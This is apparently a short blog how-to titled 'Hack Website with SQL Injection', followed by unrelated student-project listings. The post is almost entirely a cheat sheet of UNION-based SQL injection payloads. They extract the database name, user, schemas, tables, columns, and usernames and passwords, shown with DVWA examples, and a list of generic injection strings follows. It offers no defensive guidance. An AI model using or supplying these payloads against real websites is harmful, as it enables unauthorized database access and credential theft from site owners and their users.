Adil Khan 5 years ago
AdiKhanOfficial #How to's

What is SQL Injection - Hack Website with SQL Injection

 

 


Basic Payload
' union select 1,2 -- 

Get Database Name
' union select database(),2 -- 

Get Username
 ' union select user(),null -- 

Get Databases
' union select distinct table_schema, null from information_schema.tables-- 

Get Tables
' union select null, TABLE_NAME from information_schema.tables where table_schema='DATABASE_NAME'-- 
Example
' union select null, TABLE_NAME from information_schema.tables where table_schema='dvwa'-- 

Get COLUMNS
' union select null, COLUMN_NAME from information_schema.COLUMNS where table_schema='DATABASE_NAME' AND TABLE_NAME='TABLE_NAME'-- 
Example
' union select null, COLUMN_NAME from information_schema.COLUMNS where table_schema='dvwa' AND TABLE_NAME='users'-- 

Get Data from Table
' union select username, password from DATABASE_NAME.TABLE_NAME -- 
Example
' union select username, password from dvwa.users -- 


Generic Payloads:
'
"
''
`
``
,
""
/
//

\
;
' or "
-- or # 
' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
'='
'LIKE'
'=0--+
 OR 1=1
' OR 'x'='x
' AND id IS NULL; --
'''''''''''''UNION SELECT '2
%00
/*…*/

SQL Injection Cheat Sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet

0
2.8K
Sight and Sound

In short: We propose to create a dataset to capture Sights & Sounds of Pakistan: assoc...

1675638330.png
Adil Khan
1 year ago
A project Design of Heat Pump Based on Solar System using Vapor Absorp...

Over the past few decades, energy is the backbone of technology and economic development....

1675638330.png
Adil Khan
1 year ago
Bowling Action Detection Using Smart Sensors

This project will develop a smart sensor-based framework that is capable of detecting reco...

1675638330.png
Adil Khan
1 year ago
E-Farm planning with estimation of ROI

Increasing population is increasing the demand for more production of crops which in turn...

1675638330.png
Adil Khan
1 year ago
Auto Target Tracking and Firing Turret Gun

This paper presents the design and implementation of target detection, tracking and warnin...

1675638330.png
Adil Khan
1 year ago